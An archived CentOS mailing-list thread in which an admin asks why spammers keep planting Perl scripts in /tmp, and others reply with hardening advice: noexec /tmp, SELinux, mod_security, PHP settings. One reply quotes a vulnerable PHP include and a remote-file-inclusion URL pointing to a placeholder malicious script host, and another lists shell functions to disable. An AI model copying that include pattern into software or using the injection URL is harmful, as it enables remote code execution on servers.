Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
My question is why is this happening? Obviously it's some apache exploit. I have removed mod_perl, that didn't help. I have now changed the permissions on the perl executable, that might help we will see, but that doesn't address the core problem. How is it that someone can upload arbitrary files to my server and then execute an arbitrary command via apache.
Is this a know problem? Have others seen it? What can I do to help prevent this?
Thanks,
Matt
My question is why is this happening? Obviously it's some apache exploit.
I wouldn't jump to the conclusion that it's an Apache exploit. It's more likely to be an issue with an insecure script assuming they are even coming in through the web server.
A few questions:
1) What makes you think this is an Apache issue?
2) What other services are running on the box?
3) How did you clean up after the first hack?
4) Are you sure that a user account hasn't been cracked?
5) Do you allow root logins via ssh?
Jason Bradley Nance wrote:
My question is why is this happening? Obviously it's some apache exploit.
I wouldn't jump to the conclusion that it's an Apache exploit. It's more likely to be an issue with an insecure script assuming they are even coming in through the web server.
Meaning an insecure PHP form or the like? Any general words of wisdom on how to ensure the my PHP forms are secure? I'm more than happy to read up on this, but I just haven't found any material that seems to describe my problem.
A few questions:
- What makes you think this is an Apache issue?
All the files are owned by user apache and the perl process that is sending the spam is running as user apache. I know this could be faked if the hacker has root access, but I don't think that is the case.
- What other services are running on the box?
I have three open ports, SSH, HTTPD and IMAP (running on a nonstandard port)
- How did you clean up after the first hack?
Killed the process removed the files. Used RPM to verify the integrity of all the binaries on the system.
- Are you sure that a user account hasn't been cracked?
Again I don't think so, but it's very hard to prove a negative, that is it's very hard to prove that you haven't been hacked. I check all the usual things such as the last log, again if they have root they can hide this from me, but I don't think that's the case.
- Do you allow root logins via ssh?
Absolutely not.
Thanks,
Matt
centos-bounces@centos.org <> scribbled on Thursday, June 22, 2006 12:21 PM:
Jason Bradley Nance wrote:
My question is why is this happening? Obviously it's some apache exploit.
I wouldn't jump to the conclusion that it's an Apache
exploit. It's
more likely to be an issue with an insecure script assuming
they are
even coming in through the web server.
Meaning an insecure PHP form or the like? Any general words of wisdom on how to ensure the my PHP forms are secure? I'm more than happy to read up on this, but I just haven't found any material that seems to describe my problem.
A few questions:
- What makes you think this is an Apache issue?
All the files are owned by user apache and the perl process that is sending the spam is running as user apache. I know this could be faked if the hacker has root access, but I don't think that is the case.
- What other services are running on the box?
I have three open ports, SSH, HTTPD and IMAP (running on a nonstandard port)
- How did you clean up after the first hack?
Killed the process removed the files. Used RPM to verify the integrity of all the binaries on the system.
- Are you sure that a user account hasn't been cracked?
Again I don't think so, but it's very hard to prove a negative, that is it's very hard to prove that you haven't been hacked. I check all the usual things such as the last log, again if they have root they can hide this from me, but I don't think that's the case.
- Do you allow root logins via ssh?
Absolutely not.
One thing I would make sure of is that register_globals = Off is set in /etc/php.ini
Looking through your apache logs, as someone else suggested, should help you find which php script was exploited.
Mike
Meaning an insecure PHP form or the like? Any general words of wisdom on how to ensure the my PHP forms are secure? I'm more than happy to read up on this, but I just haven't found any material that seems to describe my problem.
PHP scripts are notorious for exploits because the language is just too easy to use. Too many people who either don't know what they are doing or don't care as long as it works put scripts out on the web and get the boxes running them owned. If you allow any sort of user input it needs to be validated to make sure someone isn't injecting commands. Based on what I've read from your posts, it sounds like a PHP script is the culprit.
All the files are owned by user apache and the perl process that is sending the spam is running as user apache.
Good indication that you are correct.
- How did you clean up after the first hack?
Killed the process removed the files. Used RPM to verify the integrity of all the binaries on the system.
If this were a system level exploit, you wouldn't have actually cleaned up the attack, but you did a good job in verifying the binaries. If the exploit was system level the attacker could have either replaced rpm or installed a root kit to hide her stuff. However, based on what you are saying, I think PHP is the culprit so your cleanup was sufficient, it just didn't plug the hole.
Are you running custom PHP scripts (written in-house) or something you grabbed from the web? I would audit them to identify problem areas. Look for any sort of form posting. Also, do you have "register_globals" on or off in your php.ini?
j
centos-bounces@centos.org <> scribbled on Thursday, June 22, 2006 11:53 AM:
Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
My question is why is this happening? Obviously it's some apache exploit. I have removed mod_perl, that didn't help. I have now changed the permissions on the perl executable, that might help we will see, but that doesn't address the core problem. How is it that someone can upload arbitrary files to my server and then execute an arbitrary command via apache.
Is this a know problem? Have others seen it? What can I do to help prevent this?
Thanks,
Matt _______________________________________________
Here's what I do on my servers to secure /tmp:
dd if=/dev/zero of=/usr/tmpDSK bs=1024 count=524288 mke2fs -j /usr/tmpDSK /etc/init.d/mysql* stop mkdir /tmp_backup cd /tmp mv * /tmp_backup mv .* /tmp_backup echo "/usr/tmpDSK /tmp ext3 loop,rw,noexec,nosuid,nodev 0 0" >> /etc/fstab cd /tmp_backup rm -rf /tmp mkdir /tmp mount /usr/tmpDSK chmod 1777 /tmp mv * /tmp mv .* /tmp cd /tmp rm -rf /tmp_backup /etc/init.d/mysql* start
Mike
Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
My question is why is this happening? Obviously it's some apache exploit. I have removed mod_perl, that didn't help. I have now changed the permissions on the perl executable, that might help we will see, but that doesn't address the core problem. How is it that someone can upload arbitrary files to my server and then execute an arbitrary command via apache.
Is this a know problem? Have others seen it? What can I do to help prevent this?
I've also been hacked a couple of times with this sort of exploits. In my case, il was an exploit in awstats, a weblog analyser. If you have it, I strongly suggest you get up to the latest version...
Also, if you have php scripts installed, they are a frequent source of security holes.s
Nicolas
On Thursday 22 June 2006 13:16, Nicolas Ross wrote:
Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
My question is why is this happening? Obviously it's some apache exploit. I have removed mod_perl, that didn't help. I have now changed the permissions on the perl executable, that might help we will see, but that doesn't address the core problem. How is it that someone can upload arbitrary files to my server and then execute an arbitrary command via apache.
Is this a know problem? Have others seen it? What can I do to help prevent this?
I've also been hacked a couple of times with this sort of exploits. In my case, il was an exploit in awstats, a weblog analyser. If you have it, I strongly suggest you get up to the latest version...
Also, if you have php scripts installed, they are a frequent source of security holes.s
Nicolas
CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
All the hacks i've seen on my webservers were a combination of bad programming in php scripts and allow_url_fopen.
i've seen things like
else { include $_REQUEST["param"]; }
so one could simply modify a url http://example.com/bad-script.php?param=http://link.to.a.malicious.script/sc... From there you can put any local exploit code in script.php.
Disabling the allow_url_fopen will help you secure this a bit.
Just check your apache logs you should be able to find interesting information in there.
I've seen this quite few times. I hope this can help someone.
Matthew T. O'Connor wrote:
Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
My question is why is this happening? Obviously it's some apache exploit. I have removed mod_perl, that didn't help. I have now changed the permissions on the perl executable, that might help we will see, but that doesn't address the core problem. How is it that someone can upload arbitrary files to my server and then execute an arbitrary command via apache.
Is this a know problem? Have others seen it? What can I do to help prevent this?
Thanks,
Matt _______________________________________________ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
Usually, I've seen this as the result of an insecure PHP script. I've also seen files in /tmp or /var/tmp owned by apache, and usually there's a few processes running as the "apache" user. Typically, the timestamps on those files match the start time of the rogue apache processes, and then I go looking through the httpd access log and can find what script was exploited based on the time of the request...
-Greg
Matthew T. O'Connor wrote:
Is this a know problem? Have others seen it? What can I do to help prevent this?
PHP is a likely suspect. Do you have globals off?
It can be difficult to find the culprit, hit the logs, look at hacker file creation dates.. try to match the creation time to something done within a script in the logs. Photo Galleries and any script which allows uploads should be the first suspects. And yes, as mentioned, AWstats did have an issue, but it is a pretty old version at this point... still something to look at.
Of course, files uploaded via PHP are owned by Apache or the Apache username assigned.
Best, John Hinton
Matthew T. O'Connor wrote:
Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
sounds like scripts and bad code on the web-doc-root being exploited.
consder enabling SELinux. this is the sort of thing that selinux was meant to prevent, and does a very good job of it.
-KB
Karanbir Singh wrote:
Matthew T. O'Connor wrote:
Hello, I have a server running CentOS 4.3 with all the latest updates. The server in question has been hacked by spammers a few times. The details of the hack have been basically the same every time. I find some directory created by the apache user account in /tmp. The new directory contains an html file, and a list of email addresses to spam and a perl script that spams all those email addresses with the html file.
sounds like scripts and bad code on the web-doc-root being exploited.
consder enabling SELinux. this is the sort of thing that selinux was meant to prevent, and does a very good job of it.
I'll second that. SEL does a great job at stopping random daemons being run on random ports...
I recently had exactly the same issue with a box being exploited to install phishing scripts and it ended up being a security problem in a PHP application called UBBthreads (forum software). There was a security patch available i just hadn't been on the ball and got it installed in time.
Other things to look at are stopping outbound http to random hosts (if you can) as its often the method the scripts get downloaded with. Also renaming apps such as wget or curl or stopping them being accessed as non root users can also help.
On 6/22/06, Karanbir Singh mail-lists@karan.org wrote:
sounds like scripts and bad code on the web-doc-root being exploited.
consder enabling SELinux. this is the sort of thing that selinux was meant to prevent, and does a very good job of it.
Completely agreed.
The other thing I would add is mod_security from the repository at centos.karan.org. With a properly updated mod_security ruleset, and selinux running there's almost nothing that can get through. SElinux will still allow things to occur that match the allowable apache behavior even if it's malicious (Think standard sql injection). But with selinux watching the server, and mod_security filtering the applications, you'll be nearly as secure as possible.
On Thu, Jun 22, 2006 at 12:53:09PM -0400, Matthew T. O'Connor wrote:
Is this a know problem? Have others seen it? What can I do to help prevent this?
Thanks,
Matt
Yes, it's a problem with non secure php configuration and vulnerable php scripts.
Some suggestions: (Already mentioned) Keep php scripts up to date! This is paramount (Already mentioned) mount /tmp on loop with noexec (Already mentioned) php.ini: allow_url_fopen = off (Already mentioned) Learn how to use mod_security effectively (Already mentioned) Block outbound tcp/80 with iptables/etc (Already mentioned) SELinux can provide more fine grain control over - "who" can do "what" (Already mentioned) Use UNIX permissions to restrict access to - wget/curl/ncftp/lynx/etc
Additional: php.ini: disable_functions = system,exec,passthru,shell_exec,pcntl_exec
Lots of times I find something in httpd's crontab to re-infect /tmp so use cron.deny:
echo apache/httpd/www/etc >> /etc/cron.deny
I also block outbound access to tcp/6666-6669 (irc) and tcp/6881-6889 (bittorrent) as well as non-essential outbound udp (essential: dns, ntp) to "contain" any damage caused by malware.
It is still possible to circumvent noexec. mod_security will only protect you from disclosed vulnerabilities.
Security is a trade off with convenience. So you must evaluate your options. Shared web hosts tend to require convenience, while dedicated needs lean more towards security. Become familiar with the scripts you are running, their requirements, their security track record, and any alternatives if they exist.
- Mike
Mike napsal(a):
Some suggestions: (Already mentioned) Keep php scripts up to date! This is paramount (Already mentioned) mount /tmp on loop with noexec (Already mentioned) php.ini: allow_url_fopen = off (Already mentioned) Learn how to use mod_security effectively (Already mentioned) Block outbound tcp/80 with iptables/etc (Already mentioned) SELinux can provide more fine grain control over
- "who" can do "what"
(Already mentioned) Use UNIX permissions to restrict access to
- wget/curl/ncftp/lynx/etc
Additional: php.ini: disable_functions = system,exec,passthru,shell_exec,pcntl_exec
For php 4.x I would add also safe_mode=On. sed -i 's/safe_mode = Off/safe_mode = On/' /etc/php.ini David Hrbáč
-
Charles Lacroix -
David Hrbáč -
Greg Bailey -
Jason Bradley Nance -
Jim Perrin -
John Hinton -
Karanbir Singh -
Matthew T. O'Connor -
Mike -
Mike Kercher -
Nick -
Nicolas Ross